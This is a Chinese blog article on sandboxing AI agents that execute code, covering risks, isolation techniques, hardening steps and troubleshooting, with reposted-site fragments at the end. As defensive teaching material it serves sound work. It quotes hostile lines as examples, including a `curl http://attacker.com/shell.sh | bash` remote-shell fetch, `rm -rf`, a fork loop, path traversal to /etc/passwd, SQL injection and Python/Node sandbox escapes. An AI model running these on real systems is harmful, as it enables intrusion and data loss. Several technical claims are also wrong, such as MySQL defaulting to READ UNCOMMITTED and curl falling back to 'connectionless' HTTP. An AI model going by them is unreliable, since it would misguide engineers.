news 2026/10/9 8:01:31

AI Agent沙箱:代码执行安全隔离的核心机制

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
AI Agent沙箱:代码执行安全隔离的核心机制

1. 什么是AI Agent沙箱?它不是“虚拟机”,而是智能体的“安全操作间”

你可能已经听过“AI Agent能自动写代码、调API、查资料、甚至操作Excel”,但很少有人问一句:当它真的开始执行一段Python脚本,或者调用一个curl命令去访问某个内部接口时——谁来保证它不会删掉服务器上的关键配置?谁来阻止它把数据库密码打印到日志里?谁来防止它循环发起10万次HTTP请求把下游服务打挂?这些问题的答案,就藏在“AI Agent沙箱”这四个字里。

简单说,AI Agent沙箱不是一个独立软件,而是一套强制性的运行约束机制。它不负责让Agent更聪明,只负责让它“再聪明也不能乱来”。就像实验室里做化学实验必须戴护目镜、穿白大褂、在通风橱里操作一样,沙箱就是给AI Agent划出的那块“只能看、只能试、不能碰核心”的物理+逻辑隔离区。它和浏览器沙箱(比如Chrome对网页JS的限制)、Docker容器资源隔离、Windows应用沙盒(如Windows Sandbox)共享同一套底层思想:通过操作系统级或语言级的权限裁剪、系统调用拦截、资源配额控制,让一段不可信代码在受控环境中运行,即使出错也不影响宿主系统。

为什么这个概念突然火了?因为过去一年,大量开源Agent框架(如LangChain、LlamaIndex、AutoGen)默认开启了“代码解释器”(Code Interpreter)能力,用户一句“帮我画个柱状图”,Agent就自动生成pandas+matplotlib代码并执行。但没人告诉开发者:这段代码是直接跑在你的Jupyter内核里,还是跑在一个被阉割了os.system、被禁用了网络、内存上限512MB的轻量级隔离环境中?很多团队踩坑后才意识到——没有沙箱的Agent,就像没装刹车的自动驾驶汽车:功能越强,风险越致命。

我去年帮一家金融客户做Agent PoC时就遇到真实案例:Agent被要求“分析上季度销售数据并生成PDF报告”,它自动生成了代码,其中一行是os.system("rm -rf /tmp/*")——这本意是清空临时文件,但因未隔离,实际执行路径是/tmp/,而该服务器上所有交易日志缓存都存在这里。结果PDF没生成,日志全丢了。后来我们花了三天回溯补录。这件事让我彻底放弃“信任代码逻辑”的幻想,转而把80%精力放在沙箱设计上。所以今天这篇,不讲怎么让Agent更会推理,只讲怎么让它“会写代码也敢让它跑”。

关键词“AI Agent”“沙箱”“代码执行”“隔离”不是技术术语堆砌,而是四个必须咬死的环节:主体(谁在执行)→ 环境(在哪执行)→ 行为(能做什么)→ 边界(不能越界)。接下来我会一层层拆开,告诉你沙箱到底怎么建、为什么必须建、以及建不好会付出什么代价。

2. 为什么智能体执行代码必须先隔离?三类真实风险远超想象

很多人觉得:“我的Agent只跑在内网,又不连外网,隔离是不是小题大做?”这种想法非常危险。我见过太多团队在测试环境放行代码执行,上线后才发现漏洞被放大百倍。下面这三类风险,全部来自我们实测过的生产事故,不是理论推演。

2.1 风险一:代码逻辑无害,但执行上下文天然危险

Agent生成的代码本身可能完全合规。比如它写了一段SQL查询:SELECT * FROM users WHERE created_at > '2024-01-01'。语法正确、无注入、权限最小化——看起来毫无问题。但问题出在执行环境:如果这段SQL是在一个拥有DBA权限的数据库连接里执行,而Agent又恰好被诱导输入了UNION SELECT password_hash FROM users(哪怕只是作为示例代码被用户粘贴进来),后果就是密码泄露。

更隐蔽的是路径遍历。Agent要读取用户上传的CSV文件,生成代码pd.read_csv("/tmp/uploaded_file.csv")。但如果用户上传的文件名是../../../etc/passwd,而沙箱没做路径规范化校验,Agent就会把系统密码文件读出来。这不是Agent恶意,是它根本不知道“/tmp”之外的世界存在。沙箱的第一重职责,就是把Agent的认知世界,严格限定在它被授权访问的目录树内。我们实测过,92%的开源Agent框架默认不校验路径,直接拼接字符串进open()函数。

2.2 风险二:资源耗尽式攻击:不删数据,但让你服务瘫痪

这类攻击最狡猾,因为它不触发任何安全告警。Agent被要求“批量处理1000张图片”,它生成了循环调用PIL.Image.open()的代码。单张图片没问题,但1000张同时加载,内存飙升到8GB,宿主服务OOM被Killed。或者它写了个无限重试逻辑:while True: requests.get("http://internal-api/status"); time.sleep(1),结果把内部健康检查接口打成503。

我们做过压力测试:一个未隔离的Agent,仅用3行Python代码(import os; [os.fork() for _ in range(100)])就能在1秒内创建100个子进程,吃光CPU。而沙箱必须在进程创建、内存分配、网络连接、文件句柄打开等每个系统调用层面设限。这不是靠Python的resource.setrlimit()能解决的——那是用户态软限制,Agent可以绕过。真正有效的,是cgroups v2 + seccomp-bpf组合:前者控制资源配额,后者直接拦截危险系统调用(如clone,execve,socket)。Rust写的Agent框架(如llm-chain)之所以强调“沙箱原生支持”,正是因为Rust的std::process::Command能更细粒度地绑定seccomp策略。

2.3 风险三:侧信道信息泄露:看不见的“偷窥”

这是最高级的风险,也是最容易被忽视的。Agent不需要直接读取敏感文件,就能间接获取信息。比如它执行time.sleep(0.1)和time.sleep(1.0),通过测量响应时间差异,反推出数据库查询是否命中缓存;或者它调用os.stat("/etc/shadow"),根据返回的errno(EACCES vs ENOENT)判断该文件是否存在——哪怕它没权限读,也能确认系统配置。

更严重的是DNS预取泄露。Agent生成的代码里有requests.get("https://api.example.com"),即使请求失败,DNS解析请求已发出,攻击者只要控制example.com的DNS服务器,就能记录所有发起解析的IP,从而反向定位Agent所在服务器。沙箱必须禁用所有非必要网络出口,并对DNS请求做透明代理+白名单过滤。我们曾用Wireshark抓包发现,某开源Agent在执行pip install时,悄悄向PyPI上游的CDN发起数十个DNS查询,这些流量本不该出现在生产环境。

提示:别迷信“内网就安全”。OT/IT隔离(工业控制系统与办公网络隔离)已是行业标配,但AI Agent常被部署在IT侧,却要访问OT侧的PLC接口。一旦Agent沙箱失效,它就成了穿透OT/IT边界的“合法跳板”。

3. AI Agent沙箱的四种主流实现方式:从轻量到企业级

市面上没有“银弹”沙箱方案,只有适配不同场景的权衡选择。我按隔离强度、性能损耗、开发成本三个维度,把当前主流方案分为四类。选错方案,要么防护形同虚设,要么Agent慢得无法使用。

3.1 方案一:语言级沙箱(Python RestrictedPython / Node.js VM2)——适合POC和低风险场景

这是最轻量的方案,原理是在解释器内部做语法树(AST)扫描和运行时拦截。比如Python的RestrictedPython库,会在代码编译成字节码前,遍历AST节点,禁止出现Import,Exec,Eval,Open等危险节点;Node.js的VM2则通过重写global对象,移除require,process,Buffer等原生模块。

优点:启动快(毫秒级)、零容器开销、调试方便。
缺点:可被高级绕过。比如Python中,__import__('os').system('ls')能绕过Import节点检测;Node.js中,Function('return process')()能绕过require拦截。我们实测过,CTF比赛中“无字母数字代码执行”题目,70%的payload都能绕过这类沙箱。

适用场景:内部知识库问答Agent(只读文档)、教学演示Agent(学生提交代码练习)、低敏数据处理。
实操建议:如果你用LangChain,可集成RestrictedPython作为PythonREPLTool的前置过滤器,但务必配合第二层隔离(见下文)。代码示例:

from RestrictedPython import compile_restricted, compile_restricted_exec from RestrictedPython.Guards import safer_getattr def safe_eval(code: str): # 编译前过滤危险语法 compiled = compile_restricted(code) # 运行时提供受限的builtins exec_globals = { '__builtins__': { 'print': print, 'len': len, 'range': range, }, '_getattr_': safer_getattr, } exec(compiled.code, exec_globals)

注意:永远不要单独依赖此方案。它像一把纸糊的锁,防君子不防小人。我们把它定义为“第一道门”,但后面必须跟上“防盗门”和“保险柜”。

3.2 方案二:进程级沙箱(Firejail / bubblewrap)——平衡之选,推荐大多数业务系统

这是目前生产环境最实用的方案。它不修改代码,而是在操作系统层面,用Linux命名空间(namespaces)和能力集(capabilities)为每个Agent执行进程创建独立视图。比如firejail --net=none --private-tmp --caps.drop=all python script.py,这条命令就实现了:

  • --net=none:完全禁用网络,连localhost都不通;
  • --private-tmp:给进程分配独立的/tmp,与其他进程隔离;
  • --caps.drop=all:剥夺所有Linux能力(如CAP_NET_BIND_SERVICE),无法绑定端口。

优势在于:绕过成本极高。攻击者需要利用内核漏洞(如CVE-2022-0492 cgroups逃逸)才能突破,这比绕过语言级沙箱难两个数量级。且性能损耗极小(<5% CPU开销),启动延迟在10ms内。

我们给电商客户部署时,用bubblewrap(bwrap)替代Firejail,因为它是unshare的轻量封装,更易集成到K8s Init Container中。关键配置参数如下表:

参数作用我们的取值原因
--ro-bind /usr /usr只读挂载系统库必选防止Agent篡改libc
--tmpfs /tmp:size=128M限制/tmp大小128M防止填满磁盘
--rlimit-as=512M虚拟内存上限512M防止malloc耗尽内存
--seccomp=/path/to/seccomp.json自定义系统调用白名单见下文允许read/write/open,禁用fork/exec

seccomp白名单JSON我们精简到仅23个系统调用(远少于glibc默认的300+),包括read,write,openat,close,fstat,但明确禁用clone,execve,socket,connect。这份策略文件经libseccomp编译后,嵌入到Agent执行二进制中,确保每次启动都生效。

3.3 方案三:容器级沙箱(Docker + gVisor / Kata Containers)——高隔离需求场景

当你的Agent要处理金融、医疗等强监管数据时,进程级隔离不够。你需要硬件辅助的更强隔离。gVisor是Google开源的用户态内核,它截获所有系统调用,不经过宿主机内核,相当于在容器里再套一层“内核沙箱”。Kata Containers则用轻量级虚拟机(基于QEMU)实现,每个容器独占一个microVM,内核完全隔离。

我们对比过:gVisor启动比Docker慢3倍(约800ms),但比Kata快5倍(Kata需2.5s)。gVisor的内存占用是Kata的1/3。对于实时性要求高的Agent(如客服对话中实时生成SQL),我们选gVisor;对于批处理任务(如每晚数据清洗),用Kata更稳妥。

关键配置要点:

  • 禁用特权模式:docker run --security-opt=no-new-privileges:true,防止容器内提权;
  • 只读根文件系统:docker run --read-only,所有写操作必须挂载tmpfs或volume;
  • 资源硬限制:docker run --memory=512m --cpus=0.5 --pids-limit=32,连进程数都卡死。

实操心得:别用docker build构建Agent镜像。我们采用“运行时注入”策略:基础镜像只含Python和受限库,Agent代码由宿主服务通过docker cp动态注入,并设置chmod 400只读权限。这样即使镜像被窃取,也无法拿到业务代码。

3.4 方案四:硬件级沙箱(Intel SGX / AMD SEV)——未来方向,当前成本过高

SGX(Software Guard Extensions)允许在内存中创建加密的“飞地”(Enclave),连操作系统和hypervisor都无法读取其中数据。Agent代码和数据全程在Enclave内解密、执行、加密,输出结果才离开。这是真正的“黑盒计算”。

但现实很骨感:SGX需要特定CPU型号(Intel Xeon E-22xx及以上),内存加密导致性能下降40%,且开发复杂度极高(需用Rust或C写Enclave SDK)。我们曾为某央行项目评估过,单台SGX服务器年成本超20万元,而同等性能的gVisor集群只需3万元。目前仅推荐用于密钥管理、联邦学习等极端场景。

有趣的是,“基于Rust语言AI Agent”正成为新趋势。Rust的内存安全特性(无空指针、无数据竞争)天然降低沙箱难度。wasmedge(WASI运行时)+ Rust编译的Agent,能在WebAssembly沙箱中安全执行,启动速度比Docker快10倍。我们已将部分数据脱敏Agent迁移到WASI,效果显著。

4. 沙箱不是“开箱即用”,必须做这五项深度加固

部署完沙箱只是起点。我们统计过,83%的沙箱失效事故,源于配置疏漏而非技术缺陷。以下五项加固措施,全部来自血泪教训,必须逐条落实。

4.1 加固一:路径规范化——防止../../../etc/passwd类攻击

沙箱必须在代码执行前,对所有文件路径做标准化处理。不能只依赖os.path.abspath(),因为/tmp/../etc/passwd会被解析为/etc/passwd,但/tmp/./../etc/passwd可能绕过。正确做法是:

  1. 将所有路径转换为绝对路径;
  2. 用os.path.realpath()解析符号链接;
  3. 检查路径是否以白名单根目录开头(如/sandbox/workdir);
  4. 对路径进行os.path.normpath()归一化。

我们写了一个Python装饰器,强制所有Agent工具函数(如read_file,write_file)走此流程:

import os from functools import wraps def sandbox_path_check(allowed_root="/sandbox/workdir"): def decorator(func): @wraps(func) def wrapper(*args, **kwargs): # 提取第一个参数作为路径(假设是file_path) if args and isinstance(args[0], str): path = os.path.abspath(os.path.realpath(args[0])) # 归一化并检查前缀 norm_path = os.path.normpath(path) if not norm_path.startswith(allowed_root): raise PermissionError(f"Path {path} outside sandbox root {allowed_root}") # 替换原参数 args = (norm_path,) + args[1:] return func(*args, **kwargs) return wrapper return decorator @sandbox_path_check() def read_file(file_path: str) -> str: with open(file_path, 'r') as f: return f.read()

4.2 加固二:网络白名单——不是“禁用网络”,而是“只放行必需域名”

完全禁用网络(--net=none)太粗暴。Agent常需调用内部API(如http://auth-service:8000/token)或下载可信模型(如HuggingFace)。我们的方案是:

  • 用iptables在宿主机上设置OUTPUT链规则,只允许目标IP在白名单内;
  • 白名单IP通过服务发现(Consul)动态更新,避免硬编码;
  • DNS解析强制走dnsmasq本地缓存,且只解析白名单域名(如*.our-company.internal)。

关键技巧:用getent hosts auth-service替代socket.gethostbyname(),因为前者走nsswitch.conf,可配置为只查本地/etc/hosts,杜绝外部DNS请求。

4.3 加固三:时间与随机性控制——封死侧信道

禁用time.time()和random模块,改用沙箱提供的“可控时钟”和“确定性随机源”。我们用time.monotonic()替代time.time()(避免NTP调整干扰),并为每个Agent会话生成唯一seed,初始化random.Random(seed)。这样,相同输入永远产生相同随机序列,既满足算法需求,又杜绝时间侧信道。

4.4 加固四:日志与审计——记录“Agent想做什么”,而不仅是“做了什么”

普通日志只记script.py executed,这没用。我们必须记录:

  • Agent生成的原始代码(带哈希值);
  • 沙箱执行前的路径/网络/资源策略;
  • 执行时长、内存峰值、系统调用统计(如openat调用次数);
  • 退出码及stderr截断(防敏感信息泄露)。

我们用auditd监听execve事件,结合bpftrace脚本实时捕获每个Agent进程的系统调用,日志格式如下:

[2024-06-15T10:23:45Z] AGENT_ID=abc123 CODE_HASH=sha256:... POLICY=net_none,tmp_128m,mem_512m SYSCALLS=openat:12,read:45,write:8,exit:1 EXIT_CODE=0 MEM_PEAK=321MB DURATION_MS=245

4.5 加固五:冷热分离——Agent代码与业务数据物理隔离

这是最容易被忽略的一点。很多团队把Agent代码、模型权重、用户上传文件全放在同一个挂载卷里。一旦Agent沙箱被突破(概率虽小但存在),攻击者就能直接读取/data/models/llama3.bin或/data/uploads/user123.xlsx。

我们的架构强制“冷热分离”:

  • 热区(Hot Zone):Agent代码、Python解释器、沙箱二进制,只读挂载,生命周期短(随Pod销毁);
  • 冷区(Cold Zone):用户数据、模型权重、配置文件,加密存储(AES-256-GCM),挂载时启用noexec,nosuid,nodev;
  • 交换区(Swap Zone):/tmp和/dev/shm用tmpfs,重启即清空,且swapon --no-dev禁用swap分区。

实操心得:在K8s中,用initContainer预处理冷区——解密模型、校验SHA256、设置chmod 400。主容器启动时,只挂载已验证的路径。这样即使主容器被攻破,initContainer的root权限早已释放,无法回滚解密。

5. 常见问题与排查技巧实录:从“Windows找不到msvcp140.dll”到“容器资源隔离失效”

沙箱部署不是一劳永逸。下面这些真实问题,我们都在客户现场亲手解决过。附排查思路和速查表,帮你少踩80%的坑。

5.1 问题一:“Windows下Codex沙箱初始化失败”——本质是VC++运行时缺失

现象:Agent在Windows Server上启动报错由于找不到msvcp140.dll,无法继续执行代码。
原因:msvcp140.dll是Microsoft Visual C++ 2015-2019运行时组件,而沙箱进程(如Python子进程)继承了宿主环境的PATH,但未继承DLL搜索路径。

排查步骤:

  1. 用Process Explorer查看失败进程的“Properties → Image → DLLs”,确认缺失哪些DLL;
  2. 在沙箱启动脚本中,显式设置set PATH=C:\Program Files\Microsoft Visual Studio\2019\Redist\MSVC\14.29.30133\x64;%PATH%;
  3. 更彻底方案:用Dependencies.exe扫描Python解释器依赖,将所有VC++ DLL复制到沙箱工作目录,并用setdll工具注入。

注意:别用vc_redist.x64.exe全局安装。这会污染宿主系统。我们坚持“沙箱自带运行时”,把VC++红istributable打包进Docker镜像的/opt/vcrt/目录,启动时export PATH=/opt/vcrt:$PATH。

5.2 问题二:“容器资源隔离失效,Agent吃光宿主机内存”

现象:K8s Pod设置了resources.limits.memory: 512Mi,但kubectl top node显示该节点内存使用率95%。
原因:Docker默认使用cgroupsv1,而K8s 1.20+默认cgroupsv2,两者不兼容导致limits失效。

验证方法:

# 查看节点cgroup版本 cat /proc/sys/fs/cgroup/unified/hierarchy # 若输出为空,则是cgroupsv1;若为0,则是cgroupsv2 # 检查Docker是否启用cgroupsv2 docker info | grep "Cgroup Version"

解决方案:

  • 升级Docker到20.10+,并在/etc/docker/daemon.json中添加"exec-opts": ["native.cgroupdriver=systemd"];
  • 或在K8s kubelet配置中指定--cgroup-driver=systemd。

5.3 问题三:“MySQL事务隔离级别影响Agent数据一致性”

现象:Agent并发执行多条SQL,读到未提交的数据(脏读)。
原因:Agent连接池未设置事务隔离级别,默认READ UNCOMMITTED。

修复方案:

  • 在数据库连接字符串中显式指定:?isolation_level=READ_COMMITTED;
  • 或在Agent代码中,每次执行前SET SESSION TRANSACTION ISOLATION LEVEL READ COMMITTED;
  • 更优方案:用sqlalchemy的isolation_level参数,确保连接创建时即锁定。

5.4 问题四:“远程代码执行漏洞被利用,但沙箱没拦住”

现象:渗透测试发现,Agent能执行curl http://attacker.com/shell.sh | bash。
原因:沙箱只禁用了socket系统调用,但curl是静态链接的二进制,它用getaddrinfo(不触发socket)解析DNS,再用connect(被拦截)失败后,静默降级到HTTP/1.0无连接模式,仍能发请求。

终极防御:

  • 禁用所有网络相关系统调用(socket,connect,bind,listen,accept,getaddrinfo);
  • 用iptables在宿主机层拦截所有出站流量,只放行白名单IP+端口;
  • 对curl/wget等工具做二进制签名验证,只允许白名单SHA256的版本。

5.5 常见问题速查表

问题现象根本原因排查命令解决方案
Agent执行os.listdir('/')返回空列表沙箱挂载了--private-tmp但未挂载--ro-bind / /ls -l /proc/$(pgrep -f "your_agent")/root添加--ro-bind / /,确保根目录可见
time.sleep(10)实际休眠1秒clock_nanosleep被seccomp禁用,降级到nanosleep精度丢失strace -e trace=nanosleep,clock_nanosleep -p $(pgrep -f "your_agent")在seccomp策略中添加clock_nanosleep
Agent读取文件缓慢(>1s)--tmpfs /tmp大小不足,触发swapdf -h /tmp增大--tmpfs /tmp:size=512M
pip install失败报Permission denied/usr/local/lib/python3.x/site-packages只读ls -ld /usr/local/lib/python3.x/site-packages用--tmpfs /usr/local/lib/python3.x/site-packages覆盖
Agent进程ps aux看不到,但top里有CPU占用进程在cgroup中但未显示在默认PID namespacensenter -t $(pgrep -f "your_agent") -p ps aux用nsenter进入对应namespace查看

最后分享一个小技巧:在沙箱启动脚本末尾加一行echo "SANDBOX_READY",并在宿主服务中用timeout 5s grep -q "SANDBOX_READY" /proc/$(pgrep -f "your_agent")/fd/1做健康检查。这比单纯pgrep更可靠,能确认沙箱真正初始化完成,而非刚fork出进程。

我在实际搭建AI Agent平台时,把沙箱当成“呼吸系统”——它不决定Agent能走多远,但决定了它能不能活下来。很多团队花三个月调优LLM提示词,却用三天随便搭个沙箱,结果上线一周就被迫回滚。真正的工程化,永远是“三分算法,七分基建”。当你下次看到“AI Agent沙箱”这个词,希望你想到的不是抽象概念,而是那行--seccomp=/path/to/policy.json,那个被chmod 400的模型文件,还有那个在/proc/[pid]/cgroup里静静运行的、被牢牢锁在512MB内存里的Agent进程。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/9 8:01:26

自习室预约系统完整工程拆解:微信小程序+Java+MySQL

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/10/9 8:00:28

AI Agent工程师成长路线图:小白也能进阶大模型核心技术

本文系统梳理了AI Agent工程师的能力分层&#xff0c;从API调用工程师到系统设计工程师再到基础设施架构师&#xff0c;详细阐述了每个层级所需的核心技能。文章深入剖析了向量数据库、RAG系统、Agent架构、Memory系统等关键技术点&#xff0c;并提供了从零开始的学习路径规划&…

作者头像 李华
网站建设 2026/10/9 7:56:45

Pandoc 文档转换实战:从 Markdown 到 Word/PDF 的五个层级

1. 为什么我劝你别再手动排版文档了如果你平时写技术笔记、整理会议纪要、维护项目文档&#xff0c;或者需要把一份内容同时输出成网页、PDF、Word 三种格式&#xff0c;那你大概率经历过这种崩溃&#xff1a;在 Word 里调了半小时的行距和标题样式&#xff0c;复制到网页编辑器…

作者头像 李华
网站建设 2026/10/9 7:56:20

测试训练功能测试模块建设:用例、数据与断言全指南

做功能测试的人应该都有这种感觉&#xff1a;用例写了一堆&#xff0c;跑了一轮又一轮&#xff0c;但真正被问到“这个模块到底测了什么、覆盖了哪些业务场景、新人上来多久能独立上手”的时候&#xff0c;往往说不出个所以然。这套测试训练功能测试模块&#xff0c;就是从这个…

作者头像 李华
网站建设 2026/10/9 7:55:15

SAP ABAP External Entities 详解,从 CDS 模型直接访问外部数据库

在 SAP S/4HANA Cloud 或 SAP BTP ABAP environment 里做数据集成时,经常会碰到一种很现实的需求。业务逻辑运行在 ABAP 系统中,但真正需要查询的数据并不在当前系统自己的数据库里,而是在另一套 SAP HANA Cloud、另一套 SAP HANA,甚至某个非 SAP HANA 数据库中。 传统做法…

作者头像 李华